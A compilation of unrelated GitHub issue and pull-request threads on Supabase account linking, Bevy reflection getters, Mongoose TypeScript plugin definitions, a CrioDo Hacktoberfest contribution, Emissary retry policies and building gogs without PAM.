Link Multiple Auth Providers to an Account

https://firebase.google.com/docs/auth/android/account-linking

Adding another use case here, besides multiple auth paths:
I want to store connections to 3rd party apps, e.g. a Twitter connection for retrieving a user's tweets. Else, I need to duplicate a lot of the OAuth logic and store it separately.

Any updates on this

Hi everyone, we currently don't have plans to support manual linking of accounts in the near future. Currently, gotrue only supports automatic linking of accounts based on the user's email.

This could be done theoretically with a procedure and policies that updates the auth.users and auth.identities tables.

You would basically delete the identity id in auth.identities, remove the provider in auth.users.raw_app_meta_data and auth.users.raw_user_meta_data.

Adding it would require logging out and back in with the provider assuming the email is the same.  If you wanted to take that a step further, you could create another procedure with an http function that runs the full oAuth 2 protocol, then saves it manually.  You could also theoretically add the missing option for signin with popup.
Of course, if someone does either of these two options, please share the code here.
J

Hey everyone, we're aware of the need to customize the account linking logic and have some plans to make it happen via web hooks / triggers. However, this is not something we're going to be working on in the short term.
I'll be closing this issue as account linking is supported if the user has the same email in the social login providers.

I don't get the point of closing this and stating that account linking is suppoerted when its the same email but the point of this whole thread is to get support for when its NOT THE SAME EMAIL. Its a must have future in auth now and days. This should really be pushed up the priority list.

This is really a necessity for auth to be functional in a lot of cases. Automatic linking is too unpredictable and doesn't address the issues described here.

Hey @rlee1990 and @sdaoud, we are working to make this change

Hi @rlee1990 and @sdaoud, I've pinned this issue to emphasise that this is definitely one of our top priorities going forward and we're working to make this happen gradually. If you've been keeping up with the updates on Supabase and gotrue, you may already know that automatic linking has always been the default way that gotrue links accounts. While we understand the advantages of manual linking that have been discussed in this thread, it's important to keep in mind that removing automatic linking altogether could create backward compatibility issues for existing users.
Furthermore, we've received feedback from many developers who appreciate the simplicity of automatic linking for UX purposes. While we recognise the benefits of manual linking, it's not something that we can expect everyone to switch to overnight.
I also want to reiterate that we'll eventually move to the model of manual linking accounts through a well-designed API. Currently, we are considering a few ideas to implement this:

Implement some form of webhooks so users can define the linking behaviour between accounts
Provide an API to support the following:

link newly created identities to existing users
unlink an identity from a user

@hf has already made some progress to simplify the account linking logic in this PR to make way for the use of webhooks to decide linking behaviour. Please feel free to drop any ideas you may have regarding this topic too as the team will be more than happy to discuss them in detail!

@kangmingtay using a webhook sounds like a nice approach. I get keeping automatic linking in place also. A webhook to help link an account is a useful option.

I would say keep the automatic linking as the default option, but add a simple config option automatic linking: true that could be set to false.
Then just copy the ideas of link and unlink that Firebase uses or Auth0. Basic functions seem to be a good idea.
J

@jdgamble555 we thought of that option too but it's not feasible to make it toggle-able since automatic linking requires the email to be unique for the algorithm to know which user to link the new identity to. For example:
(assuming automatic linking: false)

User 1 signs up with<EMAIL_ADDRESS>using google
User 2 signs up with<EMAIL_ADDRESS>using facebook (not linked to (1))
Toggle automatic linking: true
User 3 signs up with<EMAIL_ADDRESS>using twitter (no way of knowing whether to link User 3 to (1) or (2))

It has to be a one-way toggle or an option you select before you start building your app. Either you opt-in for automatic linking or resign to a manual linking API for eternity 🙃

Hmmm, I definitely don’t like the eternity issue. 🤷🏻 Perhaps the simple answer is to automatically link with the first found profile, in reality the first document id record containing that email.
Any new profiles going forward would be automatic, but all profiles would have a link and unlink option after sign up. This puts the control back into the developer. So that boolean option is only concerning new signups, and the first found option. This solves any backwards compatible problems.
Linking is always available.
I should add this is also relevant for anonymous logins too, which is an entirely different feature.
😃
J

@kangmingtay @hf Can you explain what modifications are needed in the be done in the database to link two accounts together?

this is very important to use as well ... would help cross-device sing-ins ... for ex if i sign up / sign in with apple ... i will not be able to use that account in a non-ios enviroment

is there an estimation when this will be addressed?

This seems to be a must-have feature for any auth solution. What site nowadays doesn't even let you connect multiple oauth providers with different emails?

Ah this just managed to kick me off of using the auth system in Supabase for a project; really wish a link function existed :(

Check out Lucia auth

We are working on it! Sorry for the delay... it's not a simple feat as we need to make sure not to break any existing behavior, while allowing for an API that we won't have to go back to in 5 months time.

We are working on it! Sorry for the delay... it's not a simple feat as we need to make sure not to break any existing behavior, while allowing for an API that we won't have to go back to in 5 months time.

@hf Thanks for the update, that's awesome!! ✨ any rough ETA?

Hey everyone, just an update, we've merged in 2 PRs that will make manual linking possible very soon:

Link an oauth identity to a user: https://github.com/supabase/gotrue/pull/1317
Unlink an oauth identity: https://github.com/supabase/gotrue/pull/1315

We'll need some time to roll this feature out to all projects on Supabase but if you are self-hosting, you should be able to use this new feature with the latest version of gotrue. The target ETA for getting this out to all projects is by LWX
The corresponding client library bindings will also be added to the js library in this PR: https://github.com/supabase/gotrue-js/pull/814
The process for linking / unlinking an identity will look something like this:
// assume user is already logged in and authenticated

// link the current user to a google identity
// this works very similar to signInWithOAuth() and will redirect the user to google to complete the oauth flow
// once the oauth flow has been completed, the user will be redirect back to the app with the identity linked
const { data, error } = await supabase.auth.linkIdentity({ provider: 'google' })

// fetch all identities linked to the current user
const { data: { identities } } = await supabase.auth.getUserIdentities()

const googleIdentity = identities.find(identity => identity.provider === 'google')

// unlink an identity
await supabase.auth.unlinkIdentity(googleIdentity)

This plus the fix for expiring tokens in @supabase/ssr is a life saver

@kangmingtay I'm migrating from Firebase Auth to Supabase Auth now that there is anonymous account support. I'm on react-native but the docs for linking seem to assume web. What is the correct auth API to use to link an anonymous account to a credential retrieved from a native social auth provider?
For example the docs suggest using supabase.auth.linkIdentity({ provider: 'google' }) stating that "the user will be redirected to Google to complete the OAuth2.0 flow" which probably won't work on react native, it seems to be assuming web. Some of the provider documentation like google auth demonstrate signing in using a token fetched from the native auth flow (react-native-google-sign-in) using supabase.auth.signInWithIdToken but there is no mention of linking the credential to an anonymous account.
The workflow I'm trying to replicate from Firebase auth is that new users always get an anonymous account and at some later point in time are prompted to link a real credential so they don't lose their progress. It seems like maybe the supabase client is missing a linkIdentityWithIdToken method?

@kangmingtay I'm migrating from Firebase Auth to Supabase Auth now that there is anonymous account support. I'm on react-native but the docs for linking seem to assume web. What is the correct auth API to use to link an anonymous account to a credential retrieved from a native social auth provider?
For example the docs suggest using supabase.auth.linkIdentity({ provider: 'google' }) stating that "the user will be redirected to Google to complete the OAuth2.0 flow" which probably won't work on react native, it seems to be assuming web. Some of the provider documentation like google auth demonstrate signing in using a token fetched from the native auth flow (react-native-google-sign-in) using supabase.auth.signInWithIdToken but there is no mention of linking the credential to an anonymous account.
The workflow I'm trying to replicate from Firebase auth is that new users always get an anonymous account and at some later point in time are prompted to link a real credential so they don't lose their progress. It seems like maybe the supabase client is missing a linkIdentityWithIdToken method?

I'm in the same boat, and managed to get it to work using linkIdentity, however I'm using expo-web-browser and expo-auth-session in my app to achieve this.
        const { data, error } = await supabase.auth.linkIdentity({
          provider: "apple",
          options: {
            redirectTo,
          },
        });
        if (error) throw error;

        WebBrowser.openBrowserAsync(data.url);

I feel like there's a bit of wonkiness to this though. If the anonymous user attempts to link to a google (or apple account) it seems to fail silently, and I'm not able to display any meaningful message to the client app.

Thanks for implementing account linking! :) Referring to @evelant message and #1645 issue, I think it would be helpful to add support for linking accounts via id token. If someone has implemented native login, they are currently forced to start the linking process in a web view. While this isn’t a major issue, native login offers a better user experience, and I’m sure many developers would prefer to keep things consistent in their apps. After looking at the code, it seems like linking accounts via an id token shouldn’t be too difficult, but it would be great if one of the maintainers could share their thoughts on whether this is a good approach or what the plans are for improving account linking.

I am facing the same issue.
I Hope Supabase team will add native Google and Apple sign-in to the linkIdentity soon.

@JonathanLab - drafted linkIdentityWithIdToken - https://github.com/supabase/auth/pull/1885


Provide getters for fields of ReflectFromPtr

Objective
The reasoning is similar to #8687.
I'm building a dynamic query. Currently, I store the ReflectFromPtr in my dynamic Fetch type.
See relevant code
However, ReflectFromPtr is:

16 bytes for TypeId
8 bytes for the non-mutable function pointer
8 bytes for the mutable function pointer

It's a lot, it adds 32 bytes to my base Fetch which is only ComponendId (8 bytes) for a total of 40 bytes.
I only need one function per fetch, reducing the total dynamic fetch size to 16 bytes.
Since I'm querying the components by the ComponendId associated with the function pointer I'm using, I don't need the TypeId, it's a redundant check.
In fact, I've difficulties coming up with situations where checking the TypeId beforehand is relevant. So to me, if ReflectFromPtr makes sense as a public API, exposing the function pointers also makes sense.
Solution

Make the fields public through methods.

Changelog

Add from_ptr and from_ptr_mut methods to ReflectFromPtr to access the underlying function pointers
ReflectFromPtr::as_reflect_ptr is now ReflectFromPtr::as_reflect
ReflectFromPtr::as_reflect_ptr_mut is now ReflectFromPtr::as_reflect_mut

Migration guide

ReflectFromPtr::as_reflect_ptr is now ReflectFromPtr::as_reflect
ReflectFromPtr::as_reflect_ptr_mut is now ReflectFromPtr::as_reflect_mut

I agree the name is pretty poor.
I think the field should be renamed to from_ptr[_mut] (which matches the struct name) and the method follow the rust convention of re-using the field name. What do you think? It might be awkward to have a from_ptr method that returns something instead of accepting a Ptr though.

I think I'm happy enough with that rename :) @MrGVSV may have other opinions, but we can paint that bike shed when we get to it.

@alice-i-cecile I forgot to update some doc examples and CI didn't pass. It should be fixed now.


(Development) : Implement API to get Response of Current User (Logged In User)

Issue Description
Objective:
Implement an endpoint to retrieve the logged-in User data following the CQRS pattern, data to get from Elasticsearch
Endpoint:

Complete Endpoint: https://api.bloggios.in/auth-provider/user (GET)
Target Controller: User Controller

Request Body:
None
Response Body:
Create a new response in payloads/response named LoggedInUser.java. Include all variables present in User Entity except Password
Validations:

Logged-in user data can be automatically extracted from @AuthenticationPrincipal.
Users can only retrieve their own profiles.

Rules:

Code should be placed in Profile Controller, Profile Service, Profile Implementation, and Profile Dao.
Follow the CQRS pattern without changing the project structure.
Do not add any new variables in Profile Entity and Document.
Read operations should be done from Elasticsearch

Contact:
Feel free to reach me at any of the below links:

Email<EMAIL_ADDRESS>LinkedIn: rohit-zip
Phone: +91-9571406506

Hi @rohit-zip, I was going through Code, I see there is already an endpoint ["auth-provider/user/"] in UserController to retrieve the userInfo, but it returns the masked information with very few fields.
You want to enhance the DAO layer to return the complete details, is this understanding correct ? as you have mentioned a new ResponsePayload and an existing endpoint.

Hi @kesrishubham2510
Thanks for your input, will go through the endpoints and then get back to you
Thanks
@rohit-zip


Header files for dynamic .methods and .statics?

Is it possible to write TypeScript header/definiton files for code using object.methods and object.statics?
Like this:
import passportLocalMongoose = require('passport-local-mongoose')

interface IUserModel extends IUser, mongoose.Document  {};

var userSchema = new mongoose.Schema({
    username: String,
    password: String
});

userSchema.plugin(passportLocalMongoose, {});    // <<< From here

Trying to use this https://github.com/saintedlama/passport-local-mongoose/blob/master/lib/passport-local-mongoose.js
// To here
module.exports = function(schema, options) {    // <<< thru here
   schema.methods.setPassword = function (password, cb)    // <<< to here
   // How do I apply this back to schema's methods??
   // ... etc ...
}

Obviously the problem will occur here:
// app.ts

user.setPassword (..., ...) // TypeScrypt error, serPassword undefined

Obviously the problem will occur here
// app.ts

User.setPassword (..., ...) // TypeScrypt error, serPassword undefined

I'm starting to think that Mongoose's .plugin-method implementation makes it impossible to write a correct typescript header for it, with autocompletion on the functionality provided by the plugin, right?

https://github.com/borisyankov/DefinitelyTyped/issues/4153

Added it here too with some more links:
http://stackoverflow.com/questions/31829109/header-files-for-mongoose-plugin-method-extending-via-methods-and-statics

@RdeWilde  For methods you can do this:
interface IModel {
  setPassword: (password, cb) => void;
}

var Model = mongoose.model<IModel>(...);
var doc = new Model(...);
doc.setPassword(...);       // should let you use it

For statics it will be a bit trickier. We could do this:
interface IStatics {
  staticMethod: (...) => void;
}

var Model = mongoose.model<IModel, IStatics>(...);
Model.staticMethod;      // should let you use it

It will probably break everyone who is currently using mongoose.model<IModel>
Unless you've already found a better solution.

I guess it's the price to pay for not looking ahead.

I checked and it looks like I can define an override in the definitions:
model<T>(...): ModelConstructor<T>
model<T, S>(...): S & ModelConstructor<T>

Which will let us do:
interface IModel {
  // define methods here
}

interface IStatics {
  // define statics here
}

var Model = mongoose.model<IModel, IStatics>(...);
Model.static();       // should work
var doc = new Model();
doc.method();       // should also work
mongoose.model<IModel>(...);    // should not break

Sorry to post in a closed issue, but I'm having problems with this exact plugin aswell.
I have a local type definition file for passport-local-mongoose, based on the one linked by @RdeWilde, which worked fine with the 3.x mongoose.d.ts but not with the updated 4.x mongoose.d.ts.
I'm not sure how I should fix the d.ts file for this plugin, and other plugins, to work with the new mongoose.d.ts?
Below is what I currently have, but it no longer works.
declare module 'mongoose' {
  import passportLocal = require('passport-local');

  // methods
  export interface PassportLocalDocument extends Document {
    setPassword(password: string, cb: (err: any, res: any) => void): void;
    authenticate(password: string, cb: (err: any, res: any, error: any) => void): void;
  }

  // statics
  export interface PassportLocalModel<T extends PassportLocalDocument> extends Model<T> {
    authenticate(): (username: string, password: string, cb: (err: any, res: T, error: any) => void) => void;
    serializeUser(): (user: PassportLocalModel<T>, cb: (err: any) => void) => void;
    deserializeUser(): (username: string, cb: (err: any) => void) => void;
    register(user: PassportLocalModel<T>, password: string, cb: (err: any) => void): void;
    findByUsername(username: string, selectHashSaltFields: boolean, cb: (err: any) => void): any;
    createStrategy(): passportLocal.Strategy;
  }

  // error messages
  export interface PassportLocalErrorMessages {
    MissingPasswordError?: string;
    AttemptTooSoonError?: string;
    TooManyAttemptsError?: string;
    NoSaltValueStoredError?: string;
    IncorrectPasswordError?: string;
    IncorrectUsernameError?: string;
    MissingUsernameError?: string;
    UserExistsError?: string;
  }

  // plugin options
  export interface PassportLocalOptions {
    saltlen?: number;
    iterations?: number;
    keylen?: number;
    encoding?: string;
    digestAlgorithm?: string;
    passwordValidator?: (password: string, cb: (err: any) => void) => void;

    usernameField?: string;
    usernameUnique?: boolean;

    usernameQueryFields: Array<string>;

    usernameLowerCase?: boolean;

    hashField?: string;
    saltField?: string;

    limitAttempts?: boolean;
    lastLoginField?: string;
    attemptsField?: string;
    interval?: number;
    maxInterval?: number;
    maxAttempts?: number;

    errorMessages?: PassportLocalErrorMessages;
  }

  export interface PassportLocalSchema extends Schema {
    plugin(
      plugin: (schema: PassportLocalSchema, options?: PassportLocalOptions) => void,
      options?: PassportLocalOptions
    ): Schema;
  }

  export function model<T extends PassportLocalDocument>(
    name: string,
    schema?: PassportLocalSchema,
    collection?: string,
    skipInit?: boolean): PassportLocalModel<T>;
}

declare module 'passport-local-mongoose' {
  import mongoose = require('mongoose');
  var _: (schema: mongoose.Schema, options?: Object) => void;
  export = _;
}

I also have a d.ts file for mongoose-paginate, which is also no longer working with mongoose.d.ts and need to be updated in the same way.
I would be happy to make PR's for both d.ts files to DefinitelyTyped once they have been updated to work again.

Where is this .d.ts file from? DefinitelyTyped or your own version?

Own version, based on the one in the Stackoverflow link by @RdeWilde

My d.ts file for mongoose-paginate is very similar in structure, but much smaller:
declare module 'mongoose' {
  export interface PaginateOptions {
    select?: Object|string;
    sort?: Object|string;
    populate?: Array<Object>|Array<string>|Object|string;
    lean?: boolean;
    leanWithId?: boolean;
    offset?: number;
    page?: number;
    limit?: number;
  }

  export interface PaginateResult<T extends Document> {
    docs: Array<T>;
    total: number;
    limit: number;
    page?: number;
    pages?: number;
    offset?: number;
  }

  export interface PaginateModel<T extends Document> extends Model<T> {
    paginate(query?: Object, options?: PaginateOptions, callback?: (err: any, result: PaginateResult<T>) => void): Promise<PaginateResult<T>>;
  }

  export function model<T extends Document>(name: string, schema?: Schema, collection?: string, skipInit?: boolean): PaginateModel<T>;
}

declare module 'mongoose-paginate' {
  import mongoose = require('mongoose');
  var _: (schema: mongoose.Schema) => void;
  export = _;
}

There are basically two big issues:

Extending Model does not work anymore.
Injecting the plugin options, intefaces and overrides into the 'mongoose' namespace does not work anymore.

Both of these d.ts files have been built based on examples online on how to build d.ts files for mongoose plugins and worked well with the 3.x mongoose.d.ts file.
Unfortunately, the only mongoose plugins with d.ts files in DefinitelyTyped are so basic and are not built the same way, that they cannot be used as basis for these plugin d.ts files.
But I would be happy to provide these two d.ts files to DefinitelyTyped, if I knew how to update them to work with the 4.x mongoose.d.ts

Okay taking a look at this, it will need some edits to mongoose.d.ts as well as your definitions. It would be good to provide these to DefinitelyTyped since TravisCI will tell us if we broke anything when we update the definitions in the future.

@linusbrolin Are you willing to maintain those 2 .d.ts files though?

Try this in another folder to see if it works for you:

Copy updated mongoose.d.ts https://raw.githubusercontent.com/simonxca/DefinitelyTyped/patch-mongoose/mongoose/mongoose.d.ts
Reference the above in your .d.ts files instead of the current version.

Change  interface PassportLocalDocument extends Document { ... } to interface PassportlocalDocument { ... }. mongoose.d.ts should extend Document for you.
For PassportLocalSchema change the return type to this.
 To extend it you'll need to use a type reference:

export type PassportLocalModel<T extends PassportLocalDocument> = _PassportLocalModel<T> & Model<T>;
interface _PassportLocalModel<T extends PassportLocalDocument> { ... }

For PaginateModel it's similar:

export type PaginateModel<T> = _PaginateModel<T> & Model<T>;
interface _PaginateModel<T> { ... }

Let me know if you get other errors.

I need to go, but I'll have a look tomorrow and see if I can get it working. :)
I'm using the files for a couple of large projects at work, so yea I can maintain them, atleast while I'm working on those projects.

@simonxca I've now tried the changes you suggested, and they seem to work. :)
The only thing is that my User interface still has to extend PassportLocalDocument, or it will complain.
So, when declaring models and schemas using any of these plugins, I have to do it like below:
export interface User extends PassportLocalDocument {
  _id: Types.ObjectId | string;
  company: string;
  nameFirst: string;
  nameLast: string;
  email: string;
  username: string;
  password: string;
  salt: string;
}

export const UserSchema: PassportLocalSchema = <PassportLocalSchema>new Schema({
  // _id: Schema.Types.ObjectId, // Not needed, MongoDB autogenerates this
  company: String,
  nameFirst: { type: String, required: true },
  nameLast: String,
  email: String,
  username: String,
  password: String,
  salt: String,
}

let options: PassportLocalOptions = <PassportLocalOptions>{};
options.usernameField = 'username';
options.hashField = 'password';
options.usernameLowerCase = true;

UserSchema.plugin(passportLocalMongoose, options);
UserSchema.plugin(mongoosePaginate);

export type UserModel<T extends PassportLocalDocument> = _UserModel<T> & PassportLocalModel<T> & PaginateModel<T>;
interface _UserModel<T extends PassportLocalDocument> {}

export var UserModel: UserModel<User> = model<User>('User', UserSchema) as UserModel<User>;

This does work though, so all should be fine with the d.ts files?

@linusbrolin Okay that's good! Last thing is you should add an override to model() for both of your .d.ts files to allow adding Static methods and properties to your Schemas:
export function model<T extends PassportLocalDocument, Statics>(
    name: string,
    schema?: PassportLocalSchema,
    collection?: string,
    skipInit?: boolean): Statics & PassportLocalModel<T>;

Other than that it should be good. Have you committed to DefinitelyTyped before?
You'll need to add a header and a test file. Please put me in the header file as an author as well. I can help review changes to these .d.ts files.

@simonxca the .d.ts files already have model() overrides, just without the Statics part, so I'm assuming I should just modify the existing override in each .d.ts file and add the Statics parts, instead of adding an additional override?
No, I have not committed to DefinitelyTyped before.
But I can look at some other header and test files and see what needs to be done.

@linusbrolin Actually hold on for now. There's some changes coming in. I talked to the guys maintaining mongoose.d.ts for typings and we're moving back to using interfaces since people have been extending them like you have (which is probably a better idea than the way I did it). Patch is here: https://github.com/simonxca/DefinitelyTyped/blob/patch-mongoose/mongoose/mongoose.d.ts
You're original files should work after the update (just needed 2 small fixes when I tried them). Sorry for causing you to change back and forth...
I'll put up a doc in this folder with examples of how to use and extend the definitions so people are aware in the future.
What you can do is fork DefinitelyTyped and create a branch with your definitions in folders named passport-local-mongoose/passport-local-mongoose.d.ts and mongoose-paginate/mongoose-paginate.d.ts. Put the link here, I'll review it to make sure it works, and you can submit a PR.

@simonxca oh, sorry, I just submitted PR's a few minutes ago and totally missed reading this first.. :/
So, my type definitions should be changed back to how they were for the 3.x version of mongoose.d.ts?

@linusbrolin Ahh no worries mongoose isn't updated yet. When it is, I'll update your files as well.


seed_r7_ros_pkg: 0.3.1-1 in 'kinetic/distribution.yaml' [bloom]

Increasing version of package(s) in repository seed_r7_ros_pkg to 0.3.1-1:

upstream repository: https://github.com/seed-solutions/noid-ros-pkg.git
release repository: https://github.com/seed-solutions/seed_r7_ros_pkg-release.git
distro file: kinetic/distribution.yaml
bloom version: 0.9.0
previous version for package: 0.3.0-1

0.3.2 prepared to release on #23068 for bug fix, so I'll close this PR .


Detailed Data Analysis

Closes #39

Checklist:

[x] Added activities for learners
[x] Didn't give the solutions to the added activities straight away
[x] Followed a LearnByDoing approach
[x] Clean and well documented code (if source code files are involved)
[x] Added images for better understanding if deemed necessary

@Aditya-Gupta1  Please review this

@rutujak24 You PR is under review. Till then, kindly edit your PR description and follow this template for the same.

@rutujak24 You PR is under review. Till then, kindly edit your PR description and follow this template for the same.

All Done!

Also, I researched u a bit and I say can u work as a creator? U have quite a stellar profile and u can make some potential contributions to microbytes. Go through some of the repos in miscellaneous to get an idea of what is expected from a creator. Maybe convert some good project of yours into a microbyte.
Cheers

So, Firstly nice work. I see u have covered pretty much all checkpoints suggested by @Aditya-Gupta1 . Now there are a couple of things to be done.

Hide the main driving code. Codes like .head() and labelling can be kept. but codes that involve even a slight logic should be hid. Instead of the code mention a hint as a comment. But keep the output as it is. So what I suggest is after running the entire juyter notebook comment out the hints as mentioned.
I agree this is a bit painful to do bt now u have quality addition and ppl need to learn from ur code, not follow them step by step. Something like this. To save time don't document stuff but just comment the code as a hint.
Also when u download the .ipynb file kindly make sure u get rid of the errors first. The error are mainly type errors or some local package errors(right?). That may mislead or dimish the beauty of ur code.

All this should pretty much take half an hour or so. Try as much as time permits u to do.
I have also requested @Aditya-Gupta1 for a review, to see if you have satisfied his ideation.
Don't worry, ur contribution is quality work. Just u have to restructure it according to our motto.
Reach out to us if u have a

So, Firstly nice work. I see u have covered pretty much all checkpoints suggested by @Aditya-Gupta1 . Now there are a couple of things to be done.

Hide the main driving code. Codes like .head() and labelling can be kept. but codes that involve even a slight logic should be hid. Instead of the code mention a hint as a comment. But keep the output as it is. So what I suggest is after running the entire juyter notebook comment out the hints as mentioned.
I agree this is a bit painful to do bt now u have quality addition and ppl need to learn from ur code, not follow them step by step. Something like this. To save time don't document stuff but just comment the code as a hint.
Also when u download the .ipynb file kindly make sure u get rid of the errors first. The error are mainly type errors or some local package errors(right?). That may mislead or dimish the beauty of ur code.

All this should pretty much take half an hour or so. Try as much as time permits u to do.
I have also requested @Aditya-Gupta1 for a review, to see if you have satisfied his ideation.
Don't worry, ur contribution is quality work. Just u have to restructure it according to our motto.
Reach out to us if u have any queries.

Should I make a new PR with all the required changes?

Also, I researched u a bit and I say can u work as a creator? U have quite a stellar profile and u can make some potential contributions to microbytes. Go through some of the repos in miscellaneous to get an idea of what is expected from a creator. Maybe convert some good project of yours into a microbyte.
Cheers

Thanks a lot for reaching out! I would love to work as a creator, please let me know the perks of it.

@rutujak24 No need to create an new pr just simply commit changes in this pr !

Thanks a lot for reaching out! I would love to work as a creator, please let me know the perks of it.

@Janhavi-Gautam It seems like you are not a @CrioDo #IBelieveinDoing Hacktoberfest participant. Are you? If not kindly register yourself using this link.
.

Should I make a new PR with all the required changes?

@rutujak24 No need to create an new pr just simply commit changes in this pr !

Since I have created a new PR #66 Please evaluated it and merge it

Thanks a lot for reaching out! I would love to work as a creator, please let me know the perks of it.

@Janhavi-Gautam It seems like you are not a @CrioDo #IBelieveinDoing Hacktoberfest participant. Are you? If not kindly register yourself using this link.
.

Hey @sudhanshutiwari264 are you asking me? I guess you have tagged wrong person out there.
As far as I am concerned, I am a @CrioDo #IBelieveinDoing Hacktoberfest participant.

@rutujak24 It's an typo mistake !
I had this doubt as you are asking for the perks and I forgot to cross check it also !
And I apologize for editing your comment as currently I am reviewing this by phone so by mistake I have edited it !
We will review your new pr asap !

@rutujak24 It's an typo mistake !
I had this doubt as you are asking for the perks and I forgot to cross check it also !
And I apologize for editing your comment as currently I am reviewing this by phone so by mistake I have edited it !
We will review your new pr asap !

Alright @sudhanshutiwari264 no worries.
I am asking about the perks as when I filled the @CrioDo #IBelieveinDoing Hacktoberfest form, I was told that I will get crio.do swag t-shirt and other crio.do goodies.

@rutujak24  !
Let's not spam in the pr comments we can talk abt the perks on slack !

@rutujak24 !
Let's not spam in the pr comments we can talk abt the perks on slack !

Alright, Please send me slack invitation link

Also, I researched u a bit and I say can u work as a creator? U have quite a stellar profile and u can make some potential contributions to microbytes. Go through some of the repos in miscellaneous to get an idea of what is expected from a creator. Maybe convert some good project of yours into a microbyte.
Cheers

Hey @Kevinpaulose05 I am glad to note that you found my profile engaging, I am ready to work as a creator, wherein I will add some more projects!

Also, I researched u a bit and I say can u work as a creator? U have quite a stellar profile and u can make some potential contributions to microbytes. Go through some of the repos in miscellaneous to get an idea of what is expected from a creator. Maybe convert some good project of yours into a microbyte.
Cheers

Hey @Kevinpaulose05 I am glad to note that you found my profile engaging, I am ready to work as a creator, wherein I will add some more projects!

Can u create at least one by tomorrow or Monday? Coz then next week learners can have a fresh bunch of repos to work with.
No pressure here, just try ur best.
Cheers :)

Also, I researched u a bit and I say can u work as a creator? U have quite a stellar profile and u can make some potential contributions to microbytes. Go through some of the repos in miscellaneous to get an idea of what is expected from a creator. Maybe convert some good project of yours into a microbyte.
Cheers

Hey @Kevinpaulose05 I am glad to note that you found my profile engaging, I am ready to work as a creator, wherein I will add some more projects!

Can u create at least one by tomorrow or Monday? Coz then next week learners can have a fresh bunch of repos to work with.
No pressure here, just try ur best.
Cheers :)

I will try my best @Kevinpaulose05 , should I create a new project folder?

Hey, @rutujak24 you need to follow a set of instructions as we have posted on slack to create a MicroByte.
Hoping to see one good MicroByte from your end soon 😄

Hey, @rutujak24 you need to follow a set of instructions as we have posted on slack to create a MicroByte.
Hoping to see one good MicroByte from your end soon 😄

Hello @amoghrajesh I will go with MySQL DATABASE, "How to learn SQL queries by operating on tables
Notes: Can provide tables of data and ask users to come up with certain queries/joins - specify the correct results expected."

Hey, @rutujak24 you need to follow a set of instructions as we have posted on slack to create a MicroByte.
Hoping to see one good MicroByte from your end soon 😄

Hello @amoghrajesh I will go with MySQL DATABASE, "How to learn SQL queries by operating on tables
Notes: Can provide tables of data and ask users to come up with certain queries/joins - specify the correct results expected."

Spot on. What u r planning is perfect. Just follow the correct workflow.

@rutujak24 Actually we already have a MicroByte based on MySQL in this repo.
Also, we've got a MicroByte proposal as given in this issue.
Kindly go through them before you start your work, to make it as good as possible.

@rutujak24 Actually we already have a MicroByte based on MySQL in this repo.
Also, we've got a MicroByte proposal as given in this issue.
Kindly go through them before you start your work to make it as good as possible.

@rutujak24 On second note, I suppose that you could go more adventurous by working on some other great idea. Based on your performance on this issue, seems like you can do an awesome job of creating something similar to which we don't have on stock already. That way you'll be doing us a huge favour, for we're looking for contributors who'll contribute quality MicroBytes.
On a side note, if it's a quality MicroByte, we'll most probably showcase it on the @CrioDo website.
Cheers. :clinking_glasses:

@rutujak24 On second note, I suppose that you could go more adventurous by working on some other great idea. Based on your performance on this issue, seems like you can do an awesome job of creating something similar to which we don't have on stock already. That way you'll be doing us a huge favour, for we're looking for contributors who'll contribute quality MicroBytes.
On a side note, if it's a quality MicroByte, we'll most probably showcase it on the @CrioDo website.
Cheers. 🥂

Thanks for giving me this opportunity!
Can I go with python libraries like  Numpy, pandas Tutorial, wherein I'll cover all the commands and comcepts needed to get start with data science.

@rutujak24 Actually you free to go wild in any manner you want, kindly do fork the correct master repo for you MicroByte though.
But, remember one very important thing, kindly don't create a tutorial that's already available if a person knows how to Google. You are free to take inspiration from MicroBytes like this or this, etc. The main point being, you need to follow the @CrioDo motto by creating a MicroByte which adheres to the LearnByDoing approach. Basically the learners who use your content, should be virtually forced to think of solutions on their own, instead of it being provided to them. That is how one learns the most. Also, kindly remember that the learning time required for your MicroByte should be 1-2 hours, the reason being they're MicroBytes.
Looking forward to your contributions!! :rocket:

@rutujak24 Actually you free to go wild in any manner you want, kindly do fork the correct master repo for you MicroByte though.
But, remember one very important thing, kindly don't create a tutorial that's already available if a person knows how to Google. You are free to take inspiration from MicroBytes like this or this, etc. The main point being, you need to follow the @CrioDo motto by creating a MicroByte which adheres to the LearnByDoing approach. Basically the learners who use your content, should be virtually forced to think of solutions on their own, instead of it being provided to them. That is how one learns the most. Also, kindly remember that the learning time required for your MicroByte should be 1-2 hours, the reason being they're MicroBytes.
Looking forward to your contributions!! 🚀

Done!
https://github.com/Crio-Bytes/Miscellaneous/pull/70


Support multiple errors in retry_on in Automatic retries

Please describe your use case / problem.
We want to configure automatic retries for multiple errors at a Mapping level.
Looks like this is possible in envoy - https://www.envoyproxy.io/docs/envoy/latest/faq/load_balancing/transient_failures#retries (See: Request Retry).
When we try to set something similar, we see a validation error -
* the Kubernetes API server reported that "t-106/data-server-mapping" failed to fully initialize or become live: Mapping.getambassador.io "data-server-mapping" is invalid: spec.retry_policy.retry_on: Unsupported value: "gateway-error,connect-failure,retriable-4xx": supported values: "5xx", "gateway-error", "connect-failure", "retriable-4xx", "refused-stream", "retriable-status-codes"

I believe the validation is done here? https://github.com/emissary-ingress/emissary/blob/master/python/ambassador/ir/irretrypolicy.py#L36
Describe the solution you'd like
Allow configuring multiple errors in retry_on
Describe alternatives you've considered
No alternative I believe since only a single RetryPolicy on a Mapping? - https://github.com/emissary-ingress/emissary/blob/7b70a3f67bc7d265b82bd0a645c403f83b4f5729/python/ambassador/ir/irhttpmapping.py#L55
Additional context
We use emissary 2.2.1 right now

Is this the same issue as #4168 and if so could you please consolidate this request with the previous one?


NTH: Add a table hints in 'Merge' and 'MergeAll'.

Deployed. Will be available in version >= 1.10.5.


Zero shot Scene Graph Generate

Your work is really awesome!
We extend your work to achieve scene graph generate：
https://github.com/JackWhite-rwx/SceneGraphGenZeroShotWithGSAM.git

Awesome Work! We're willing to highlight your project in our README!

Awesome Work! We're willing to highlight your project in our README!

很抱歉再次打扰你，我发现在readme中你把这个项目的链接错写成了Image2Paragraph的链接，请您抽空修改一下


Is it possible to have PAM-less gogs?

Problem: the official Linux binary releases link against PAM libraries and PAM is mentioned as dependency here: https://github.com/gogits/gogs/blob/master/.gopmfile
But Slackware Linux has no PAM.
Is it possible to build gogs from source without PAM support, will it build?

With PAM: go build -tags pam
Without PAM, exclude pam from -tags option

